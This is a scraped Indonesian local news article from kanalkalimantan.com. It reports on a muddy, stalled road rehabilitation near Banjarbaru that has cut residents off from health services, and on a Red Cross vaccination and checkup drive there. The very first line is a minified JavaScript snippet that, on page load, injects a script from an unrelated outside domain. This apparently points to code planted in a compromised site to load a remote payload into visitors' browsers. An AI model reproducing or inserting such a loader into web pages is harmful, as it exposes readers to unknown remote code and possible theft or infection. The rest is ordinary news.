(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Proyek rehabilitasi Jalan Trans Kalimantan ruas Liang Anggang-Batibati yang kini menjadi ‘bubur’ lebih dari lima kilometer menjadi derita sendiri bagi warga sepanjang jalan tersebut.
Berbagai keluhan pun didapati, mulai setiap hari menyantap jalan penuh lumpur, matinya perekonomian, hingga aktifitas harian mereka terganggu, terjadi hampir setengah tahun terakhir. Kini masalah kesehatan yang mengancam warga, salah satunya warga kesulitan menuju akses layanan fasilitas kesehatan.
Ketua RT 01 Kelurahan Landasan Ulin Selatan, Sala mengungkapkan, sedari jalan mulai direhabilitasi dan penuh dengan lumpur warga sangat sulit mendapatkan layanan kesehatan. Selama jalan yang kini menjadi lumpur, armada Puskesmas Keliling (Pusling) tidak pernah lagi masuk ke wilayah mereka.
“Sementara jalan lumpur ini tidak bisa dilintasi, mungkin itu alasan Pusling tidak bisa datang ke sini karena tidak mau memaksa masuk jalan ini,” ungkapnya.
Pun menurutnya, layanan tenaga kesehatan juga terkendala akses menuju kampung mereka, lantaran tidak berani ke tempat mereka.
Baca juga : Datangi Warga Pengayuan, PMI Banjarbaru Gelar Vaksinasi Massal
“Ada kabar mereka ingin melakukan kunjungan ke sini, karena jalannya seperti ini, ya kemungkinan itulah kondisinya,” ujarnya.
Sala mengharapkan ada dari Dinas Kesehatan atau Puskesmas terdekat melakukan cek kesehatan kepada masyarakat di wilayah perbatasan dengan Kabupaten Tanah Laut ini.
“Paling tidak sebulan sekali pemeriksaan kesehatan di sini, karena tidak ada tenaga kesehatan yang masuk ke sini, karena jalan ke sini lihat saja sendiri,” pintanya.
Diakuinya di wilayah RT yang dipimpinnya banyak lansia dan ibu hamil yang tidak menerima pemeriksaan kesehatan secara teratur.
Hal senada diungkapkan Hendra, Ketua RT 02 yang mengaku selama jalan rusak kesehatan warga banyak yang terganggu.
“Mungkin disebabkan kebanyakan pikiran dari jalan yang mematikan aktivitas mereka, apalagi inikan masuk musim penghujan, jalan lumpurnya tambah parah,” ujar menilai sendiri.
Baca juga : Dandim 1001 Tinjau Pelaksanaan Vaksinasi di HSU
Hendra mengungkapkan karena jalan yang belum tahu kapan selesai ini mengakibatkan masyarakat tidak berani keluar melakukan perjalanan jauh walau hanya sebatas ke Puskesmas. Takut hal yang tidak diinginkan terjadi, apalagi jalan akan semakin licin berlumpur sehabis diguyur hujan.
Pada kesempatan vaksinasi Covid-19 yang digelar oleh PMI Kota Banjarbaru, sembari melakukan vaksinasi mereka juga melakukan pemerikaan kesehatan gratis kepada para warga.
“Kabar dari Ketua RT mengatakan di wilayahnya ini tidak ada lagi layanan kesehatan ketika jalan rusak, sehingga kami barengkan layanan kesehatan dan vaksinasi, dan pada layanan banyak warga yang mengeluhkan gatal, batuk, pusing, darah tinggi dan badan panas,” ujar H Aiman, Staff Penanggulangan Bencana PMI Kota Banjarbaru.
Dalam melakukan vaksinasi dan layanan kesehatan, PMI Kota Banjarbaru bekerjasama dengan Puskesmas Liang Anggang. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.